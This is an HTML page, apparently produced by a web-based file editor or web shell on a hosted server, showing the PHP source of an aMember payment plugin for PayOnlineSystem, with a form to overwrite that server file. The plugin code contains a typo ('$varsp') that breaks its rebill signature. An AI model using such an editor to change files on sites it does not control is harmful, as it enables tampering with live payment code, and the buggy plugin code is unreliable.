<h2>File Contents: /home/planet5/public_html/4xpips.net/secure/application/cc/plugins/payonlinesystem.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/4xpips.net/secure/application/cc/plugins/payonlinesystem.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php

class Am_Paysystem_Payonlinesystem extends Am_Paysystem_CreditCard
{

    const PLUGIN_STATUS = self::STATUS_BETA;
    const PLUGIN_REVISION = &#039;4.2.14.3b7ee0a&#039;;

    protected $defaultTitle = &#039;PayOnlineSystem&#039;;
    protected $defaultDescription = &#039;Cost-effective Internet acquiring for any payment system&#039;;

    const REBILL_ANCHOR = &#039;pos_rebill_anchor&#039;;
    const REFUND_URL = &#039;https://secure.payonlinesystem.com/payment/transaction/refund/&#039;;
    const REBILL_URL = &#039;https://secure.payonlinesystem.com/payment/transaction/rebill/&#039;;

    
    function getRecurringType()
    {
        return self::REPORTS_CRONREBILL;
    }
    
    function _initSetupForm(Am_Form_Setup $form)
    {
        $form-&gt;addText(&#039;merchant_id&#039;)-&gt;setLabel(&#039;Merchant ID&#039;);
        $form-&gt;addText(&#039;security_key&#039;)-&gt;setLabel(&#039;Private Security Key&#039;);
        $form-&gt;addSelect(&#039;language&#039;, &#039;&#039;, array(
            &#039;options&#039; =&gt; array(
                &#039;ru&#039; =&gt; &#039;Русский&#039;,
                &#039;en&#039; =&gt; &#039;English&#039;
            )
        ))-&gt;setLabel(&#039;Interface language&#039;);
        $form-&gt;addAdvCheckbox(&#039;cc_form&#039;)-&gt;setLabel(&#039;Send User to CC form directly&#039;);
    }

    function getSupportedCurrencies()
    {
        return array(&#039;RUB&#039;, &#039;USD&#039;, &#039;EUR&#039;);
    }

    function isConfigured()
    {
        return $this-&gt;getConfig(&#039;merchant_id&#039;) &amp;&amp; $this-&gt;getConfig(&#039;security_key&#039;);
    }

    function getRedirectUrl()
    {
        return &#039;https://secure.payonlinesystem.com/&#039; . $this-&gt;getConfig(&#039;language&#039;, &#039;ru&#039;) . &#039;/payment/&#039;.($this-&gt;getConfig(&#039;cc_form&#039;) ? &#039;&#039; : &#039;select/&#039;);
    }

    public function getSecurityKey(Am_Paysystem_Action_Redirect $a)
    {
        return md5(sprintf(&#039;MerchantId=%s&amp;OrderId=%s&amp;Amount=%s&amp;Currency=%s&amp;OrderDescription=%s&amp;PrivateSecurityKey=%s&#039;, $this-&gt;getConfig(&#039;merchant_id&#039;), $a-&gt;OrderId, $a-&gt;Amount, $a-&gt;Currency, $a-&gt;OrderDescription, $this-&gt;getConfig(&#039;security_key&#039;)
                ));
    }

    public function getIncomingSecurityKey(Am_Request $r)
    {
        return md5(sprintf(&#039;DateTime=%s&amp;TransactionID=%s&amp;OrderId=%s&amp;Amount=%s&amp;Currency=%s&amp;PrivateSecurityKey=%s&#039;, $r-&gt;get(&#039;DateTime&#039;), $r-&gt;get(&#039;TransactionID&#039;), $r-&gt;get(&#039;OrderId&#039;), $r-&gt;get(&#039;Amount&#039;), $r-&gt;get(&#039;Currency&#039;), $this-&gt;getConfig(&#039;security_key&#039;)
                ));
    }

    public function _process(Invoice $invoice, Am_Request $request, Am_Paysystem_Result $result)
    {
        $a = new Am_Paysystem_Action_Redirect($this-&gt;getRedirectUrl());
        $a-&gt;MerchantId = $this-&gt;getConfig(&#039;merchant_id&#039;);
        $a-&gt;OrderId = $invoice-&gt;public_id;
        $a-&gt;Amount = $invoice-&gt;first_total;
        $a-&gt;Currency = $invoice-&gt;currency;
        $a-&gt;OrderDescription = $invoice-&gt;getLineDescription();
        $a-&gt;ReturnUrl = $this-&gt;getReturnUrl();
        $a-&gt;FailUrl = $this-&gt;getCancelUrl();
        $a-&gt;SecurityKey = $this-&gt;getSecurityKey($a);
        $result-&gt;setAction($a);
    }

    public function createTransaction(Am_Request $request, Zend_Controller_Response_Http $response, array $invokeArgs)
    {
        return new Am_Paysystem_Transaction_PayonlineSystem($this, $request, $response, $invokeArgs);
    }

    public function getReadme()
    {
        return &lt;&lt;&lt;CUT
&lt;b&gt;PayOnlineSystem plugin configuration instructions&lt;/b&gt;

1. Enable plugin: go to aMember CP -&gt; Setup/Configuration -&gt; Plugins and enable
    &quot;payonlinesystem&quot; payment plugin.
    
2. In plugin configuration page set you Merchant ID and Private Security Key
    ( you can get it from your PayOnlineSystem Account -&gt; Integration Settings)

3. On  PayOnlineSystem account -&gt; Integration Settings page enable Callback URL for approved  transactions. 
   Callback URL should be set to: 
   %root_surl%/payment/payonlinesystem/ipn
   
NOTE: This is necessary to configure https url in aMember CP -&gt; Setup -&gt; Global -&gt; License &amp; Root URLS. 
Rebill notifications can be sent to https url only.

CUT;
    }

    function storesCcInfo()
    {
        return false;
    }

    function getRefundSecurityKey(Array $vars)
    {
        return md5(sprintf(&#039;MerchantId=%s&amp;TransactionId=%s&amp;Amount=%s&amp;PrivateSecurityKey=%s&#039;, $vars[&#039;MerchantId&#039;], $vars[&#039;TransactionId&#039;], $vars[&#039;Amount&#039;], $this-&gt;getConfig(&#039;security_key&#039;)
                ));
    }

    function getRebillSecurityKey(Array $vars)
    {
        return md5(sprintf(&#039;MerchantId=%s&amp;RebillAnchor=%s&amp;OrderId=%s&amp;Amount=%s&amp;Currency=%s&amp;PrivateSecurityKey=%s&#039;, $vars[&#039;MerchantId&#039;], $varsp[&#039;RebillAnchor&#039;], $vars[&#039;OrderId&#039;], $vars[&#039;Amount&#039;], $vars[&#039;Currency&#039;], $this-&gt;getConfig(&#039;security_key&#039;)
                ));
    }

    public function processRefund(InvoicePayment $payment, Am_Paysystem_Result $result, $amount)
    {

        $request = new Am_HttpRequest(self::REFUND_URL, Am_HttpRequest::METHOD_POST);
        $vars = array(
            &#039;MerchantId&#039; =&gt; $this-&gt;getConfig(&#039;merchant_id&#039;),
            &#039;TransactionId&#039; =&gt; $payment-&gt;receipt_id,
            &#039;Amount&#039; =&gt; $amount,
            &#039;ContentType&#039; =&gt; &#039;text&#039;
        );
        $vars[&#039;SecurityKey&#039;] = $this-&gt;getRefundSecurityKey($vars);
        foreach ($vars as $k =&gt; $v)
        {
            $request-&gt;addPostParameter($k, $v);
        }
        $this-&gt;logRequest($request);
        $response = $request-&gt;send();
        $this-&gt;logResponse($response);

        if ($response-&gt;getStatus() != 200)
            throw new Am_Exception_InputError(&quot;An error occured during refund request&quot;);

        parse_str($response-&gt;getBody(), $parsed);
        if ($parsed[&#039;Result&#039;] != &#039;Ok&#039;)
            throw new Am_Exception_InputError(&quot;An error occured during refund request: &quot; . $parsed[&#039;Message&#039;]);


        $trans = new Am_Paysystem_Transaction_Manual($this);
        $trans-&gt;setAmount($amount);
        $trans-&gt;setReceiptId($parsed[&#039;TransactionId&#039;] . &#039;-refund&#039;);
        $result-&gt;setSuccess($trans);
    }

    public function isNotAcceptableForInvoice(Invoice $invoice)
    {
        if ($invoice-&gt;rebill_times &amp;&amp; ($invoice-&gt;first_total != $invoice-&gt;second_total))
        {
            return &#039;Rebilling amount should be the same as first payment amount.&#039;;
        }
    }

    public function _doBill(Invoice $invoice, $doFirst, CcRecord $cc, Am_Paysystem_Result $result)
    {
        $r = new Am_HttpRequest(self::REBILL_URL, Am_HttpRequest::METHOD_POST);
        $vars = array(
            &#039;MerchantId&#039; =&gt; $this-&gt;getConfig(&#039;merchant_id&#039;),
            &#039;RebillAnchor&#039; =&gt; $invoice-&gt;data()-&gt;get(self::REBILL_ANCHOR),
            &#039;OrderId&#039; =&gt; $invoice-&gt;public_id . &#039;-&#039; . $invoice-&gt;getPaymentsCount(),
            &#039;Amount&#039; =&gt; $invoice-&gt;second_total,
            &#039;Currency&#039; =&gt; $invoice-&gt;currency,
            &#039;ContentType&#039; =&gt; &#039;text&#039;
        );
        $vars[&#039;SecurityKey&#039;] = $this-&gt;getRebillSecurityKey($vars);
        foreach ($vars as $k =&gt; $v)
        {
            $r-&gt;addPostParameter($k, $v);
        }

        $transaction = new Am_Paysystem_Transaction_PayonlineSystemRebill($this, $invoice, $r, $doFirst);
        $transaction-&gt;run($result);
    }

}

class Am_Paysystem_Transaction_PayonlineSystem extends Am_Paysystem_Transaction_Incoming
{

    public function getUniqId()
    {
        return $this-&gt;request-&gt;get(&#039;TransactionID&#039;);
    }

    public function findInvoiceId()
    {
        return $this-&gt;request-&gt;get(&#039;OrderId&#039;);
    }

    public function validateSource()
    {
        return $this-&gt;getPlugin()-&gt;getIncomingSecurityKey($this-&gt;request) == $this-&gt;request-&gt;get(&#039;SecurityKey&#039;);
    }

    public function validateStatus()
    {
        return true;
    }

    public function validateTerms()
    {
        return floatval($this-&gt;request-&gt;get(&#039;Amount&#039;)) === floatval($this-&gt;invoice-&gt;first_total);
    }

    public function processValidated()
    {
        parent::processValidated();
        if ($this-&gt;request-&gt;get(&#039;RebillAnchor&#039;))
            $this-&gt;invoice-&gt;data()-&gt;set(Am_Paysystem_Payonlinesystem::REBILL_ANCHOR, $this-&gt;request-&gt;get(&#039;RebillAnchor&#039;))-&gt;update();
    }

}

class Am_Paysystem_Transaction_PayonlineSystemRebill extends Am_Paysystem_Transaction_CreditCard
{

    public function getUniqId()
    {
        return $this-&gt;response[&#039;TransactionId&#039;];
    }

    public function parseResponse()
    {
        // TransactionId={TransactionId}&amp;Operation=Rebill&amp;Result={Result}&amp;Status={Status}&amp;Code={Code}&amp;ErrorCode={ErrorCode}
        parse_str($this-&gt;response, $arr);
        $this-&gt;response = $arr;
    }

    public function validate()
    {
        if ($this-&gt;response[&#039;Result&#039;] == &#039;Ok&#039; &amp;&amp; $this-&gt;response[&#039;Status&#039;] != &#039;Declined&#039;)
            $this-&gt;result-&gt;setSuccess($this);
        else
            $this-&gt;result-&gt;setFailed(&#039;Error processing transaction: &#039; . $this-&gt;response[&#039;Status&#039;] . &#039; - &#039; . $this-&gt;response[&#039;ErrorCode&#039;]);
    }

}

?&gt;
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